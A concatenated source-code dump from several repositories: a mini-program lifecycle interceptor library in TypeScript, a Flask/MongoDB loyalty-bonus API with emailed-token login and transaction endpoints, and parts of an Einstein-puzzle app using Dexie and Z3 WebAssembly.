miniLifeCycle.interceptors.detached.use // or miniLifeCycle.interceptors.detached.useAfter
miniLifeCycle.interceptors.moved.use // or miniLifeCycle.interceptors.moved.useAfter
miniLifeCycle.interceptors.error.use // or miniLifeCycle.interceptors.error.useAfter
## License
[MIT](LICENSE)
<file_sep>/types/utils/index.d.ts
import { IHandle } from './wxCompose';
/**
* 把拦截器方法变成数组
* @param handles {IHandle | Array<IHandle>>} - 拦截器传入的方法或者数组
* @returns handles {Array<Handle>} - 拦截器方法数组
*/
export declare const handleToList: <T>(handles: IHandle<T> | IHandle<T>[]) => IHandle<T>[];
export declare const compareVersion: (version1: string, version2: string) => 0 | 1 | -1;
<file_sep>/types/utils/wxCompose.d.ts
export declare type INextHandle = () => Promise<any>;
export declare type IHandle<T> = (options: T, next: INextHandle) => any;
export declare type IComposeHandle<T> = (options: T, next?: INextHandle) => Promise<void>;
/**
* 仿照koa-compose,连接拦截器方法数组
* @param handles {Array<IHandle>>} - 拦截器方法数组
* @returns composeHandles {IComposeHandle} - 连接好小程序原生生命周期方法后的数组
*/
export default function wxCompose<T>(handles: Array<IHandle<T>>): IComposeHandle<T>;
<file_sep>/src/utils/index.ts
import { IHandle } from './wxCompose'
/**
* 把拦截器方法变成数组
* @param handles {IHandle | Array<IHandle>>} - 拦截器传入的方法或者数组
* @returns handles {Array<Handle>} - 拦截器方法数组
*/
export const handleToList = <T>(handles: IHandle<T> | Array<IHandle<T>>): Array<IHandle<T>> => {
if (handles instanceof Array) {
return handles
}
return [handles]
}
export const compareVersion = (version1: string, version2: string) => {
if (version1 === version2) {
return 0
}
const a_components = version1.split('.')
const b_components = version2.split('.')
const len = Math.min(a_components.length, b_components.length)
// loop while the components are equal
for (let i = 0; i < len; i++) {
// A bigger than B
if (parseInt(a_components[i]) > parseInt(b_components[i])) {
return 1
}
// B bigger than A
if (parseInt(a_components[i]) < parseInt(b_components[i])) {
return -1
}
}
// If one's a prefix of the other, the longer one is greater.
if (a_components.length > b_components.length) {
return 1
}
if (a_components.length < b_components.length) {
return -1
}
// Otherwise they are the same.
return 0
}
<file_sep>/src/core/InterceptorManager.ts
import { APP_ENV } from '../index'
import { handleToList } from '../utils/index'
import { IHandle } from '../utils/wxCompose'
import {
getMiniProgramLifecycles,
IMiniProgramComponentLifecyclePublicKeys,
IMiniProgramPageLifecyclePublicKeys,
IWrapperType,
} from './miniLifecycles'
/**
* 原型是否为小程序的生命周期的原型
* @param env {string} - 小程序的运行环境
* @param prototype {string} - 传入的原型key
*/
export const isLifeCyclePrototype = (env: APP_ENV, prototype: string): boolean => {
const { pageLifecycles, componentLifecycles } = getMiniProgramLifecycles(env)
if (pageLifecycles && Object.hasOwnProperty.call(pageLifecycles, prototype)) {
return true
}
if (componentLifecycles && Object.hasOwnProperty.call(componentLifecycles, prototype)) {
return true
}
return false
}
export default class InterceptorManager {
// APP 平台
env: APP_ENV
// 生命周期方法运行前的方法
useHandles: Array<IHandle<any>> = []
// 生命周期方法运行后的方法
useAfterHandles: Array<IHandle<any>> = []
// 当前容器的类型
wrapperType: IWrapperType | null
// 当前拦截的生命周期名
lifeCycleType: IMiniProgramComponentLifecyclePublicKeys | IMiniProgramPageLifecyclePublicKeys | null
// 是否被销毁
isDestroy = false
constructor(
env: APP_ENV,
lifeCycleType: IMiniProgramComponentLifecyclePublicKeys | IMiniProgramPageLifecyclePublicKeys,
) {
this.env = env
const { pageLifecycles, componentLifecycles } = getMiniProgramLifecycles(env)
if (!pageLifecycles && !componentLifecycles) {
this.wrapperType = null
this.lifeCycleType = null
this.errorTip(1)
return
}
// 如果是Page
if (Object.hasOwnProperty.call(pageLifecycles, lifeCycleType)) {
this.wrapperType = 'Page'
this.lifeCycleType = lifeCycleType
return
}
// 如果是组件
if (Object.hasOwnProperty.call(componentLifecycles, lifeCycleType)) {
this.wrapperType = 'Component'
this.lifeCycleType = lifeCycleType
return
}
this.wrapperType = null
this.lifeCycleType = null
}
// 拦截器加入方法
use<T>(handles: IHandle<T> | Array<IHandle<T>>) {
if (!this.lifeCycleType) {
return this.errorTip(0)
}
this.isDestroy = false
this.useHandles = this.useHandles.concat(handleToList<T>(handles))
}
// 拦截器加入方法
useAfter<T>(handles: IHandle<T> | Array<IHandle<T>>) {
if (!this.lifeCycleType) {
return this.errorTip(0)
}
this.isDestroy = false
this.useAfterHandles = this.useAfterHandles.concat(handleToList<T>(handles))
}
// 销毁
destroy() {
this.useHandles = []
this.useAfterHandles = []
this.isDestroy = true
}
// 重置
reset() {
this.useHandles = []
this.useAfterHandles = []
this.isDestroy = false
}
// 错误提示
errorTip(errorType: number) {
if (errorType === 0) {
console.error('暂不支持小程序自带的生命周期之外的钩子')
} else if (errorType === 1) {
console.error(`小程序平台: ${this.env}, 没有配置Page、Component的生命周期方法`)
}
}
}
<file_sep>/src/core/miniLifecycles.ts
import { APP_ENV } from '../index'
/**
* 小程序页面的生命周期钩子集合
* @description 微信小程序文档 - https://developers.weixin.qq.com/miniprogram/dev/framework/app-service/page-life-cycle.html
* @description 支付宝小程序文档 - https://opendocs.alipay.com/mini/framework/page-detail#%E9%A1%B5%E9%9D%A2%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F
*/
export const miniPageLifecycles = {
onLaunch: 'onLaunch',
onReady: 'onReady',
onShow: 'onShow',
onHide: 'onHide',
onLoad: 'onLoad',
onUnload: 'onUnload',
}
/**
* 微信自定义组件的生命周期钩子集合
* @description 微信小程序文档 - https://developers.weixin.qq.com/miniprogram/dev/framework/custom-component/lifetimes.html
*/
export const weappMiniProgramComponentLifecycles = {
created: 'created', // 在组件实例刚刚被创建时执行
attached: 'attached', // 在组件实例进入页面节点树时执行
ready: 'ready', // 在组件在视图层布局完成后执行
detached: 'detached', // 在组件实例被从页面节点树移除时执行
moved: 'moved', // 在组件实例被移动到节点树另一个位置时执行 只有微信有
update: '', // 暂无
error: 'error', // 每当组件方法抛出错误时执行
}
/**
* 支付宝自定义组件的生命周期钩子集合
* @description 支付宝小程序文档 - https://opendocs.alipay.com/mini/framework/component-lifecycle
*/
export const alipayMiniProgramComponentLifecycles = {
created: 'onInit', // 组件创建时触发
attached: 'deriveDataFromProps', // 组件创建时和更新前触发
ready: 'didMount', // 组件创建完毕时触发
detached: 'didUnmount', // 组件删除时触发
moved: '', // 暂无
update: 'didUpdate', // 组件更新完毕时触发
error: 'onError', // 组件 js 代码抛出错误时触发
}
// 容器类型
export type IWrapperType = 'Page' | 'Component'
// 小程序平台组件生命周期公共Key
export type IMiniProgramComponentLifecyclePublicKeys =
| 'created'
| 'attached'
| 'ready'
| 'detached'
| 'moved'
| 'update'
| 'error'
// 小程序平台页面生命周期公共Key
export type IMiniProgramPageLifecyclePublicKeys = 'onReady' | 'onShow' | 'onHide' | 'onLoad' | 'onUnload'
// 不同小程序平台中的小程序生命周期钩子
export interface IWeappMiniLifecycles {
pageLifecycles: typeof miniPageLifecycles
componentLifecycles: typeof weappMiniProgramComponentLifecycles
}
export interface IAlipayMiniLifecycles {
pageLifecycles: typeof miniPageLifecycles
componentLifecycles: typeof alipayMiniProgramComponentLifecycles
}
export interface INullMiniLifecycles {
pageLifecycles: null
componentLifecycles: null
}
export const getMiniProgramLifecycles = (
env: APP_ENV,
): IWeappMiniLifecycles | IAlipayMiniLifecycles | INullMiniLifecycles => {
if (env === 'weapp') {
return {
pageLifecycles: miniPageLifecycles,
componentLifecycles: weappMiniProgramComponentLifecycles,
}
} else if (env === 'alipay') {
return {
pageLifecycles: miniPageLifecycles,
componentLifecycles: alipayMiniProgramComponentLifecycles,
}
}
return {
pageLifecycles: null,
componentLifecycles: null,
}
}
<file_sep>/types/core/InterceptorManager.d.ts
import { APP_ENV } from '../index';
import { IHandle } from '../utils/wxCompose';
import { IMiniProgramComponentLifecyclePublicKeys, IMiniProgramPageLifecyclePublicKeys, IWrapperType } from './miniLifecycles';
/**
* 原型是否为小程序的生命周期的原型
* @param env {string} - 小程序的运行环境
* @param prototype {string} - 传入的原型key
*/
export declare const isLifeCyclePrototype: (env: APP_ENV, prototype: string) => boolean;
export default class InterceptorManager {
env: APP_ENV;
useHandles: Array<IHandle<any>>;
useAfterHandles: Array<IHandle<any>>;
wrapperType: IWrapperType | null;
lifeCycleType: IMiniProgramComponentLifecyclePublicKeys | IMiniProgramPageLifecyclePublicKeys | null;
isDestroy: boolean;
constructor(env: APP_ENV, lifeCycleType: IMiniProgramComponentLifecyclePublicKeys | IMiniProgramPageLifecyclePublicKeys);
use<T>(handles: IHandle<T> | Array<IHandle<T>>): void;
useAfter<T>(handles: IHandle<T> | Array<IHandle<T>>): void;
destroy(): void;
reset(): void;
errorTip(errorType: number): void;
}
<file_sep>/types/core/overwriteMiniLifeCycle.d.ts
import { IMiniLifeCycle } from '../index';
/**
* 覆盖写入小程序Page方法
* @param options - 小程序传入的参数
*/
export declare function overwritePage(this: IMiniLifeCycle, options: any): any;
export declare function overwriteComponent(this: IMiniLifeCycle, options: any): any;
| ca3976fb654b098acc6e830dfbe7894b0d74ea4a | [
"Markdown",
"TypeScript",
"JavaScript"
] | 14 | TypeScript | wenshan/mini-lifecycle-interceptor | 2c5d2e4cadf4d5115dfc83296601948fb18c05c8 | e7f7a4dfe497a6d01107829ce45e99f74b5eda53 |
refs/heads/master | <file_sep>import functools
from flask import Blueprint, g, session, redirect, url_for, request, render_template, flash
from mongoengine import DoesNotExist, MultipleObjectsReturned
from utair.models import User
bp = Blueprint('auth', __name__, url_prefix='/auth')
def login_required(view):
"""Decorator that allows only auth. users."""
@functools.wraps(view)
def wrapped(**kwargs):
if g.user is None:
return redirect(url_for('auth.login'))
return view(**kwargs)
return wrapped
def load_logged_in_user(view):
"""Decorator that load user object from the database
to ``g.user`` if user's token is in a session."""
@functools.wraps(view)
def wrapped(**kwargs):
token = session.get('token')
if token is None:
g.user = None
else:
try:
g.user = User.objects(token=token).get()
except DoesNotExist:
return redirect(url_for('auth.login'))
except MultipleObjectsReturned as e:
# Shouldn't be possible, because token is unique
raise e
return view(**kwargs)
return wrapped
# Better option would be to add to message queue
def send_token(email, token):
from utair import app
if app.env == 'development':
print('{}: {}'.format(email, token))
else:
# Probably store smtp client to reuse it
import smtplib
from email.mime.text import MIMEText
msg = MIMEText("Your token is {}.\n\nGo to login page and enter it or use it in API.".format(token))
msg['Subject'] = 'Token'
smtp_login = app.config['SMTP_LOGIN']
msg['From'] = smtp_login
msg['To'] = email
s = smtplib.SMTP(app.config['SMTP_SERVER'])
s.sendmail(smtp_login, [email], msg.as_string())
s.quit()
@bp.route('/login', methods=('GET', 'POST'))
def login():
"""Sends a token in e-mail to user."""
if request.method == 'POST':
email = request.form['email']
try:
user = User.objects(email=email).get()
except DoesNotExist:
flash("User doesn't exist", 'error')
return redirect(url_for('auth.login'))
except MultipleObjectsReturned as e:
# Shouldn't be possible, because email is unique
raise e
# use uuid so bruteforce is useless
from uuid import uuid4
token = str(uuid4())
send_token(email, token)
user.token = token
user.save()
return redirect(url_for('auth.login'))
return render_template('auth/login.html')
@bp.route('/token', methods=['POST'])
def save_token():
"""Saves user token in to the session."""
token = request.form['token']
session['token'] = token
return redirect(url_for('index'))
@bp.route('/logout')
def logout():
"""Clear current session, including user token."""
session.clear()
return redirect(url_for('index'))
<file_sep>from flask import Flask, render_template
from flask_mongoengine import MongoEngine
app = Flask(__name__)
app.secret_key = "default string, if not set in config"
app.config.from_object('config')
db = MongoEngine(app)
# db must be created before registering blueprints
# because they use it
from utair.blueprints import auth, user, transaction
app.register_blueprint(auth.bp)
app.register_blueprint(user.bp)
app.register_blueprint(transaction.bp)
# user and transactions generators
if app.env == 'development':
from utair.blueprints import generator
app.register_blueprint(generator.bp)
app.add_url_rule('/', endpoint='index')
@app.route('/')
@auth.load_logged_in_user
def index():
return render_template('index.html')
<file_sep>MONGODB_DB = 'utair1'
MONGODB_HOST = '127.0.0.1'
MONGODB_PORT = 27017
SMTP_LOGIN = '<EMAIL>'
SMTP_SERVER = '127.0.0.1'
<file_sep>import functools
from decimal import Decimal
import dateutil
from flask import Blueprint, request, jsonify
from utair.models import Transaction, ApiUser
from utair.utils import json_error
bp = Blueprint('transaction', __name__, url_prefix='/transaction')
def api_user_required(view):
"""Decorator that requires api user token."""
@functools.wraps(view)
def wrapped(**kwargs):
token = None
if request.method == 'POST':
if 'token' in request.form:
token = request.form['token']
elif request.method == 'GET':
token = request.args.get('token')
if token is None:
return json_error('You must specify api user token')
if ApiUser.objects(token=token).limit(1).count() != 1:
return json_error('Api user not found')
return view(**kwargs)
return wrapped
@bp.route('/add', methods=['POST'])
@api_user_required
def add_transaction():
card_id = int(request.form['card_id'])
transaction_id = int(request.form['transaction_id'])
if Transaction.objects(transaction_id=transaction_id).limit(1).count() != 0:
# transaction already exists
return json_error('Transaction with that id already exist')
bonus = Decimal(request.form['bonus'])
from_place = request.form['from']
to_place = request.form['to']
date = dateutil.parser.parse(request.form['date'])
transaction = Transaction(transaction_id=transaction_id,
card_id=card_id,
bonus=bonus,
from_place=from_place,
to_place=to_place,
date=date)
transaction.save()
return jsonify({
'status': 'ok'
})
<file_sep>import functools
from decimal import Decimal
from flask import Blueprint, request, jsonify, g
from mongoengine import DoesNotExist, MultipleObjectsReturned
from utair.models import User, Transaction
import dateutil
from utair.utils import json_ok, json_error
bp = Blueprint('user', __name__, url_prefix='/user')
PAGE_SIZE = 10
def token_required(view):
"""Decorator that check for user token is GET arguments."""
@functools.wraps(view)
def wrapped(**kwargs):
token = None
if request.method == 'GET':
token = request.args.get('token')
elif request.method == 'POST':
if 'token' in request.form:
token = request.form['token']
if token is None:
return json_error('Token not found in request')
return view(**kwargs)
return wrapped
def load_user_by_token(view):
"""Decorator that load user object from the database
in to ``g.user`` by token."""
@functools.wraps(view)
def wrapped(**kwargs):
token = request.args.get('token')
try:
user = User.objects(token=token).get()
except DoesNotExist:
return json_error('User not found')
except MultipleObjectsReturned as e:
# Shouldn't be possible, because token is unique
raise e
g.user = user
return view(**kwargs)
return wrapped
@bp.route('/info', methods=['GET'])
@load_user_by_token
@token_required
def user_info():
user = g.user
total_bonus = Transaction.objects(card_id=user.card_id).sum('bonus')
return json_ok({
'user': {
'first_name': user.first_name,
'last_name': user.last_name,
'patronymic': user.patronymic,
'email': user.email,
'card_id': user.card_id,
'total_bonus': total_bonus
}
})
def add_param(params, arg, key=None, type=None, converter=None):
"""Adds parameter to params map.
Supports: custom key
custom type
converting param before assignment"""
if key is None:
key = arg
if type is None:
type = str
param = request.args.get(arg, type=type)
if param is not None:
if converter is None:
params[key] = param
else:
params[key] = converter(param)
@bp.route('/transactions', methods=['GET'])
@load_user_by_token
@token_required
def user_transactions():
"""Lets user see his transactions, supports:
pagination (page param)
filtering: from (place)
to (place)
before (date)
after (date)
transaction_ids
less (bonus)
more (bonus)"""
card_id = g.user.card_id
page = request.args.get('page', default=1, type=int)
# page is number from 1 to ...
page = max(1, page)
params = {'card_id': card_id}
add_param(params, 'from', 'from_place')
add_param(params, 'to', 'to_place')
# must treat this differently, because its list (always not None)
transaction_ids = request.args.getlist('id', type=int)
if len(transaction_ids) > 0:
params['transaction_id__in'] = transaction_ids
add_param(params, 'before', 'date__lte', converter=dateutil.parser.parse)
add_param(params, 'after', 'date__gte', converter=dateutil.parser.parse)
# bonus more than
add_param(params, 'more', 'bonus__gte', type=Decimal)
# bonus less than
add_param(params, 'less', 'bonus__lte', type=Decimal)
transactions = Transaction.objects(**params).paginate(page=page, per_page=PAGE_SIZE)
# list of jsoninied transactions
trans_json = []
for transaction in transactions.items:
trans_json.append({
'transaction_id': transaction.transaction_id,
'card_id': transaction.card_id,
'bonus': float(transaction.bonus),
'from': transaction.from_place,
'to': transaction.to_place,
'date': transaction.date
})
return json_ok({'transactions': trans_json})
<file_sep>Utair test project
==================
Overview
--------
This project has:
- API for logging in users by sending them token in an email
- API for users to view their profile
- API for users to get their bonus transactions (supporting pagination & filtering)
- API for *special* users to add new bonus transactions
- Special dev. API for generating fake data and saving it to the database
- Transaction API example in a form of cli python script
This project assumes that mongodb is running at 127.0.0.1:27017, if not change config.py. For further details see http://docs.mongoengine.org/projects/flask-mongoengine/en/latest/
Install
-------
**Be sure to use the same version of the code as the version of the docs
you're reading.** You probably want the latest tagged version, but the
default Git version is the master branch. ::
# clone the repository
git clone https://github.com/kolaer/utair
cd utair
# checkout the correct version
git tag # shows the tagged versions
git checkout latest-tag-found-above
Create a virtualenv and activate it::
python3 -m venv venv
. venv/bin/activate
Or on Windows cmd::
py -3 -m venv venv
venv\Scripts\activate.bat
Install this project::
pip install -e .
Or, if you want to run transaction API example::
pip install -e '.[example]'
Run
---
::
export FLASK_APP=utair
export FLASK_ENV=development
flask run
Or on Windows cmd::
set FLASK_APP=utair
set FLASK_ENV=development
flask run
Open http://127.0.0.1:5000 in a browser.
Init db
-------
To initialize database with some users & api users:
Open http://127.0.0.1:5000/gen/generate
It's also possible to add additional users & api users:
Open http://127.0.0.1:5000/gen/generate/user
Open http://127.0.0.1:5000/gen/generate/api_user
API example
-----------
See transaction_api_example.py
Run::
python3 transaction_api_example.py -h
<file_sep>import argparse
from decimal import Decimal
import requests
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument('-t',
'--token',
type=str,
required=True,
help='Api user token')
parser.add_argument('-c',
'--card_id',
type=int,
required=True,
help='User card id')
parser.add_argument('-d',
'--date',
type=str,
required=True,
help='Transaction\'s date')
parser.add_argument('-f',
'--from',
dest='from_place',
type=str,
required=True,
help='Flight\'s point of departure')
parser.add_argument('-to',
'--to',
type=str,
required=True,
help='Flight\'s point of destination')
parser.add_argument('-b',
'--bonus',
type=Decimal,
required=True,
help='User\' bonus')
parser.add_argument('-tid',
'--transaction_id',
type=int,
required=True,
help='Transaction id')
parser.add_argument('-u',
'--url',
type=str,
required=False,
default="http://127.0.0.1:5000",
help='Api URL')
return parser.parse_args()
if __name__ == '__main__':
args = parse_args()
payload = {
'token': args.token,
'from': args.from_place, # from is a keyword
'to': args.to,
'bonus': str(args.bonus), # convert from decimal to string
'card_id': args.card_id,
'transaction_id': args.transaction_id,
'date': args.date,
}
response = requests.post(args.url + '/transaction/add', data=payload)
print(response.text)
<file_sep>from flask import jsonify
def json_ok(data=None):
res = {'status': 'ok'}
if data is not None:
res.update(data)
return jsonify(res)
def json_error(msg=None):
res = {'status': 'error'}
if msg is not None:
res['msg'] = msg
return jsonify(res)
<file_sep>import random
from flask import Blueprint
from utair import db, app
from utair.models import User, ApiUser
from utair.utils import json_ok
bp = Blueprint('gen', __name__, url_prefix='/gen')
ALPHABET = list('qwertyuiopasdfghjklzxcvbnm')
def generate_word():
length = random.randint(3, 10)
return ''.join(random.choices(ALPHABET, k=length))
def generate_id():
return random.randint(10 ** 6, 10 ** 7 - 1)
def generate_token():
from uuid import uuid4
return str(uuid4())
def generate_user():
user = User(first_name=generate_word(),
last_name=generate_word(),
patronymic=generate_word(),
email=generate_word() + '@' + generate_word() + '.' + generate_word(),
card_id=generate_id())
user.save()
@bp.route('/generate/user')
def generate_user_web():
generate_user()
return json_ok()
def generate_api_user():
api_user = ApiUser(token=generate_token())
api_user.save()
@bp.route('/generate/api_user')
def generate_api_user_web():
generate_api_user()
return json_ok()
@bp.route('/generate')
def generate():
"""Clears current database and generates new database."""
db.connection.drop_database(app.config['MONGODB_DB'])
for _ in range(100):
generate_user()
for _ in range(10):
generate_api_user()
return json_ok()
<file_sep>from utair import db
class User(db.Document):
first_name = db.StringField(max_length=50, required=True)
last_name = db.StringField(max_length=50, required=True)
patronymic = db.StringField(max_length=50)
email = db.EmailField(required=True, unique=True)
card_id = db.LongField(min_value=0, required=True, unique=True)
token = db.StringField()
meta = {
'indexes': [
'email',
'card_id',
{
'fields': ['token'],
'unique': True,
'sparse': True
}
]
}
class Transaction(db.Document):
# probable use _id? ; but maybe it's coming from external source?
transaction_id = db.LongField(min_value=0, required=True, unique=True)
# maybe replace with reference to user?
card_id = db.LongField(min_value=0, required=True)
# floats/doubles have precision errors
bonus = db.DecimalField(min_value=0, precision=2, required=True)
# from is a keyword, so...
from_place = db.StringField(required=True)
to_place = db.StringField(required=True)
date = db.DateTimeField(required=True)
meta = {
'indexes': [
'transaction_id',
'card_id'
]
}
class ApiUser(db.Document):
token = db.StringField(required=True, unique=True)
meta = {
'indexes': [
'token'
]
}
<file_sep>import io
from setuptools import find_packages, setup
with io.open('README.rst', 'rt', encoding='utf8') as f:
readme = f.read()
setup(
name='utair',
version='0.1.0',
url='https://github.com/Kolaer',
maintainer_email='<EMAIL>',
description='Utair test project.',
long_description=readme,
packages=find_packages(),
include_package_data=True,
zip_safe=False,
install_requires=[
'flask',
'mongoengine',
'flask-mongoengine',
'python-dateutil',
],
extras_require={
'example': [
'requests',
],
},
)
| 17ab14ba40c555df202f2984f8aa8c226df66116 | [
"Python",
"reStructuredText"
] | 11 | Python | Kolaer/utair | 92b85f2fb85da414758da553c8b80419afe8a8ec | 795852b3092de0ab250f5d6181730ac347414eae |
refs/heads/master | <file_sep>import Dexie from "dexie";
import {PuzzleOptions} from "../puzzle/Puzzle";
import {ConfigItem} from "./Config";
import {CountsItem} from "./Counts";
import {TimesItem} from "./Times";
import {WasmItem} from "./Wasm";
export class EinsteinDatabase extends Dexie {
times: Dexie.Table<TimesItem, any>;
config: Dexie.Table<ConfigItem, string>;
counts: Dexie.Table<CountsItem, number>;
wasm: Dexie.Table<WasmItem, string>;
constructor() {
super("EinsteinDatabase");
this.version(1).stores({
times: "++, [rows+cols+extraHintsPercent]"
});
this.version(2).stores({
config: "key"
});
this.version(3).stores({
counts: "[rows+cols+extraHintsPercent]"
});
/*
counts has puzzle options as primary key.
Dexie can't upgrade primary key changes automatically: https://github.com/dfahlander/Dexie.js/issues/88#issuecomment-285384576
Must use temporary table to recreate with additional auto-increment primary key.
Must use separate versions for deletion for some reason: https://github.com/dfahlander/Dexie.js/issues/105#issuecomment-405670992
*/
this.version(4).stores({
countsTmp: "[rows+cols+extraHintsPercent]"
}).upgrade(async tx => {
let countsItems = await tx.table("counts").toArray();
await tx.table("countsTmp").bulkAdd(countsItems);
});
this.version(5).stores({
counts: null
});
this.version(6).stores({
counts: "++id, [rows+cols+extraHintsPercent]"
}).upgrade(async tx => {
let countsItemsTmp = await tx.table("countsTmp").toArray();
await tx.table("counts").bulkAdd(countsItemsTmp);
});
this.version(7).stores({
countsTmp: null
});
this.version(8).stores({
times: "++, [rows+cols+extraHintsPercent+difficulty]",
counts: "++id, [rows+cols+extraHintsPercent+difficulty]"
}).upgrade(tx =>
Dexie.Promise.all([
tx.table<TimesItem>("times").toCollection().modify({
difficulty: "normal"
}),
tx.table<ConfigItem, string>("config").update("options", {
"value.difficulty": "normal" // actual object is in value
}),
tx.table<CountsItem>("counts").toCollection().modify({
difficulty: "normal"
}),
])
);
this.version(9).stores({
wasm: "url"
});
}
}<file_sep>import * as _ from "lodash";
import {SingleBoard} from "./board/SingleBoard";
import {ApplyHintsGenerator} from "./generate/ApplyHintsGenerator";
import {DifficultyHintsGenerator} from "./generate/DifficultyHintsGenerator";
import {ExtraHintsGenerator} from "./generate/ExtraHintsGenerator";
import {HintsGenerator} from "./generate/HintsGenerator";
import {NonApplyHintsGenerator} from "./generate/NonApplyHintsGenerator";
import {Z3HintsGenerator} from "./generate/Z3HintsGenerator";
import {Puzzle, PuzzleOptions} from "./Puzzle";
export interface PuzzleGenerator {
supports(options: PuzzleOptions): boolean;
generate(options: PuzzleOptions): Promise<Puzzle>;
}
export class HintsPuzzleGenerator implements PuzzleGenerator {
constructor(private hintsGenerator: HintsGenerator) {
}
supports(options: PuzzleOptions): boolean {
return this.hintsGenerator.supports(options);
}
async generate(options: PuzzleOptions): Promise<Puzzle> {
let board = SingleBoard.random(options);
let start = _.now();
let hints = await this.hintsGenerator.generate(options, board);
let end = _.now();
console.log(`${end - start}`);
return new Puzzle(board, hints, options);
}
}
export let mainPuzzleGenerator: PuzzleGenerator = new HintsPuzzleGenerator(
new ExtraHintsGenerator(new DifficultyHintsGenerator({
normal: new ApplyHintsGenerator(),
hard: new NonApplyHintsGenerator(new Z3HintsGenerator())
}))
);<file_sep>import {TouchContextMenuHandler} from "./Handler";
export class LongTouchContextMenuHandler implements TouchContextMenuHandler {
private timeout: number;
private static touching: boolean = false;
private static readonly longTouchTime = 500;
constructor(public callback: () => void) {
}
// iOS long touch workaround
// https://stackoverflow.com/a/33778163
// https://jsfiddle.net/gianlucaguarini/56Szw/
// https://stackoverflow.com/a/33303261
onTouchStart = (e) => {
// console.debug("touchstart");
LongTouchContextMenuHandler.touching = true;
this.timeout = setTimeout(() => {
console.log("longtouch");
this.callback();
}, LongTouchContextMenuHandler.longTouchTime);
};
onTouchMove = (e) => {
// console.debug("touchmove");
clearTimeout(this.timeout);
};
onTouchEnd = (e) => {
// console.debug("touchend");
LongTouchContextMenuHandler.touching = false;
clearTimeout(this.timeout);
};
onTouchCancel = (e) => {
// console.debug("touchcancel");
LongTouchContextMenuHandler.touching = false;
clearTimeout(this.timeout);
};
onContextMenu = (e) => {
e.preventDefault();
if (!LongTouchContextMenuHandler.touching) // prevent double-triggering if context menu opens after long touch
this.callback();
};
}<file_sep>import {expect} from "chai";
import "mocha";
import {MultiBoard} from "../../src/puzzle/board/MultiBoard";
import {SingleBoard} from "../../src/puzzle/board/SingleBoard";
import {OpenHint} from "../../src/puzzle/hint/OpenHint";
import {SameColumnHint} from "../../src/puzzle/hint/SameColumnHint";
import {Puzzle, PuzzleOptions} from "../../src/puzzle/Puzzle";
import {paramPuzzleOptions} from "./paramPuzzle";
import {param} from "../param";
describe("Puzzle", function () {
const options: PuzzleOptions = {
rows: 3,
cols: 3,
extraHintsPercent: 0,
difficulty: "normal"
};
const singleBoard: SingleBoard = new SingleBoard([
[0, 1, 2],
[1, 2, 0],
[2, 0, 1]
]);
describe("#constructor()", function () {
it("should initialize full multiboard", function () {
let puzzle = new Puzzle(singleBoard, [], options);
let expectedBoard = MultiBoard.full(options);
expect(puzzle.multiBoard).to.deep.equal(expectedBoard);
});
it("should apply hints with Start type", function () {
let hints = [
new OpenHint(0, 0, 0),
new SameColumnHint(0, 0, 1, 1)
];
let puzzle = new Puzzle(singleBoard, hints, options);
let expectedBoard = MultiBoard.full(options);
expectedBoard.set(0, 0, 0);
expect(puzzle.multiBoard).to.deep.equal(expectedBoard);
});
});
describe("#isSolved()", function () {
it("should return true if multiboard is solved", function () {
let puzzle = new Puzzle(singleBoard, [], options);
puzzle.multiBoard.applySingleBoard(singleBoard);
expect(puzzle.isSolved()).to.be.true;
});
it("should return false if multiboard is not solved", function () {
let puzzle = new Puzzle(singleBoard, [], options);
expect(puzzle.isSolved()).to.be.false;
});
});
describe("#isOver()", function () {
it("should return true if multiboard can not be solved", function () {
let puzzle = new Puzzle(singleBoard, [], options);
puzzle.multiBoard.remove(0, 0, 0);
expect(puzzle.isOver()).to.be.true;
});
it("should return false if multiboard can be solved", function () {
let puzzle = new Puzzle(singleBoard, [], options);
expect(puzzle.isOver()).to.be.false;
});
});
describe("#generate()", function () {
context("returned puzzle", function () {
paramPuzzleOptions(function (options) {
param.repeat(20, () => Puzzle.generate(options), function (puzzlePromise) {
it("should have correct size boards", async function () {
let puzzle = await puzzlePromise;
// singleboard
expect(puzzle.singleBoard.rows).to.equal(options.rows);
expect(puzzle.singleBoard.cols).to.equal(options.cols);
// multiboard
expect(puzzle.multiBoard.rows).to.equal(options.rows);
expect(puzzle.multiBoard.cols).to.equal(options.cols);
});
it("should be solvable", async function () {
let puzzle = await puzzlePromise;
let solvable = puzzle.singleBoard.isSolvable(puzzle.hints);
expect(solvable).to.be.true;
});
});
});
});
});
});<file_sep>import * as Z3Em from "z3em";
import * as z3emWasm from "z3em/z3em.wasm";
import {memoizeSupplier} from "../function";
import {Wasm} from "../storage/Wasm";
import {isWasmSupported} from "../wasm";
class ResolveWrapper<T> {
constructor(public value: T) {
}
}
function createZ3Em(z3emOptions): Promise<ResolveWrapper<Z3Em>> {
return new Promise((resolve, reject) => {
const z3em = Z3Em({
...z3emOptions,
onRuntimeInitialized: () => {
resolve(new ResolveWrapper(z3em)); // TODO: unwrapped return freezes browser, WTF?
}
// TODO: handle failed
});
});
}
// for caching WASM in Chrome: chrome://flags/#enable-webassembly
export const getZ3 = memoizeSupplier(() => {
if (isWasmSupported()) {
return Wasm.getCached(z3emWasm).then(module => {
let z3emOptions;
if (module !== undefined) {
z3emOptions = {
instantiateWasm: (importObject, receiveInstance) => {
console.debug("instantiateWasm");
WebAssembly.instantiate(module, importObject).then(instance =>
receiveInstance(instance, module)
);
return {}; // instantiateWasm is async
}
};
}
else {
z3emOptions = {
locateFile: () => z3emWasm,
onReceiveInstance: (instance, module) => {
console.debug("onReceiveInstance");
Wasm.cache(z3emWasm, module);
}
};
}
console.debug("Z3 arming...");
return createZ3Em(z3emOptions).then(resolveWrapper => {
let z3em = resolveWrapper.value;
const z3 = new Z3(z3em);
console.log("Z3 armed");
return z3;
});
});
}
else {
return Promise.reject(new Error("WebAssembly not supported"));
}
});
export class Z3 {
constructor(private z3em) {
}
errorHandler = this.z3em.addFunction(function (ctx, e) {
console.error(`Z3 (${ctx}): ${e}`);
}, "vii");
mk_config = this.z3em.cwrap("Z3_mk_config", "number", []);
mk_context = this.z3em.cwrap("Z3_mk_context", "number", ["number"]);
del_config = this.z3em.cwrap("Z3_del_config", null, ["number"]);
del_context = this.z3em.cwrap("Z3_del_context", null, ["number"]);
eval_smtlib2_string = this.z3em.cwrap("Z3_eval_smtlib2_string", "string", ["number", "string"]);
global_param_set = this.z3em.cwrap("Z3_global_param_set", null, ["string", "string"]);
set_error_handler = this.z3em.cwrap("Z3_set_error_handler", null, ["number", "number"]);
}
